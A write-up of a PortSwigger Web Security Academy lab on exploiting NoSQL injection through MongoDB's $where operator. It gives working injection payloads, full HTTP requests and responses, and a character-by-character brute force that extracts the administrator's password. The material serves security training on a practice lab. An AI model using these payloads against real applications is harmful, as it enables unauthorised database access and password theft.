← Back to Writeups
PORTSWIGGERN/ANoSQL injection

Exploiting NoSQL injection to extract data

XESXOR9/2/20265 min read
#nosql injection#portswigger#web-security-academy#nosql-injection

Exploiting NoSQL injection to extract data

Platform: PortSwigger | Category: NoSQL injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, NoSQL injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab Exploiting NoSQL injection to extract data (NoSQL injection). This lab demonstrates a nosql injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — NoSQL injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Exploiting syntax injection to extract data

In many NoSQL databases, some query operators or functions can run limited JavaScript code, such as MongoDB's $where operator and mapReduce() function. This means that, if a vulnerable application uses these operators or functions, the database may evaluate the JavaScript as part of the query. You may therefore be able to use JavaScript functions to extract data from the database.

Exfiltrating data in MongoDB

Consider a vulnerable application that allows users to look up other registered usernames and displays their role. This triggers a request to the URL: https://insecure-website.com/user/lookup?username=admin

This results in the following NoSQL query of the users collection:

json
{"$where":"this.username == 'admin'"}

As the query uses the $where operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data. For example, you could send the following payload:

json
admin' && this.password[0] == 'a' || 'a'=='b

This returns the first character of the user's password string, enabling you to extract the password character by character.

You could also use the JavaScript match() function to extract information. For example, the following payload enables you to identify whether the password contains digits:

json
admin' && this.password.match(/\d/) || 'a'=='b

Solution :

Login as wiener.

The following is the request & response sent .

Request -

http
GET /user/lookup?user=wiener'+' HTTP/1.1
Host: 0a5a000604a69386817f4d0c00d50033.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a5a000604a69386817f4d0c00d50033.web-security-academy.net/my-account?id=wiener
Connection: close
Cookie: session=IxSUIRgjxiu4z9R8PqzaavxdpaT460zx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Response -

http
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 05:10:55 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 81
Connection: close
X-Frame-Options: SAMEORIGIN
Via: HTTP/1.1 m_proxy_che2
Via: HTTP/1.1 s_proxy_che2

{
  "username": "wiener",
  "email": "wiener@normal-user.net",
  "role": "user"
}

The response contains the username , email & also the role of that user.

Inserting a ' in the request ie (user=wiener')causes an error in response .

json
{
  "message": "There was an error getting user details"
}

The backend query might look something like this - this.user == 'wiener'

This input likely results in an error because the application is attempting to execute a NoSQL query and the single quote (') is prematurely terminating the query, causing a syntax error - (user='wiener'').

But upon sending wiener'%2b' (URL encoded form of wiener'+') returns the details of wiener as usual.

json
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 05:13:42 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 81
Connection: close
X-Frame-Options: SAMEORIGIN
Via: HTTP/1.1 m_proxy_mum1
Via: HTTP/1.1 s_proxy_mum1

{
  "username": "wiener",
  "email": "wiener@normal-user.net",
  "role": "user"
}

The plus sign (+) is acting as a concatenation or a way to continue the query. So, the resulting query might look like user=wiener' + '', and the plus sign helps to combine the intended query with the rest of the query, making it syntactically correct and allowing the query to proceed.

By this we can understand that the injected nosql query is being evaluated at the backend.

Injecting boolean conditions -

False condition:

Inject ?user=wiener' && '1'=='2 , this triggers the following error in response.

http
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 05:53:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 38
Connection: close
X-Frame-Options: SAMEORIGIN
Via: HTTP/1.1 m_proxy_mum1
Via: HTTP/1.1 s_proxy_mum1

{
  "message": "Could not find user"
}

True condition:

Inject ?user=wiener' && '1'=='1 , this results ina successful response .

http
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 05:57:20 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 81
Connection: close
X-Frame-Options: SAMEORIGIN
Via: HTTP/1.1 m_proxy_che2
Via: HTTP/1.1 s_proxy_che2

{
  "username": "wiener",
  "email": "wiener@normal-user.net",
  "role": "user"
}

Finding the length of password :

To find the length of the password , we can use the following query

sql
?user=administrator' && this.password.length < 30 || 'a'=='b

We can stop at <30 but since the query has a ' at the end, we provide the OR query ie(** || 'a'=='a**). Note that we don't end the equal statement with a ' because there is a trailing ' at the end of the query getting added automatically at the end.

So the request looks like ,

http
GET /user/lookup?user=administrator'%20%26%26%20this.password.length%20%3c%2030%20%7c%7c%20'a'%3d%3d'b HTTP/1.1
Host: 0a900010049b475283fbcdf900820099.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a900010049b475283fbcdf900820099.web-security-academy.net/my-account?id=wiener
Connection: close
Cookie: session=oWJad6obyaXSGiOE2hIcpAZ3ZXwcrhGS
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

The response shows the email of admin. It means the query is executed successfully & confirming that the password length is less than 30.

http
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 06:02:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 96
Connection: close
X-Frame-Options: SAMEORIGIN
Via: HTTP/1.1 m_proxy_che2
Via: HTTP/1.1 s_proxy_che2

{
  "username": "administrator",
  "email": "admin@normal-user.net",
  "role": "administrator"
}

When we provide this.password.length < 8, the query fails & we get a failed response ("message": "Could not find user").

So the length of admin's password is 8.

Finding admin's password -

Now we ned to bruteforce each position from 0-7 by bruteforcing it with a-z to find the password.

Modify the nosql query payload as follows.

nosql
user=administrator' && this.password[0]=='a

Send the request to Intruder tab, Add the this.password[**$0$**] as payload 1 and this.password[$0$]='**$a$** as paylaod 2.

Payload 1 - Numbers from 1-10 Payload 2 - Characters from a-z

Click on start attack.

image

Now we have the admin's password - oiwpuaam

Login as admin to solve the lab.

image

Key Takeaways / Lessons

  • Understanding NoSQL injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting NoSQL injection to extract data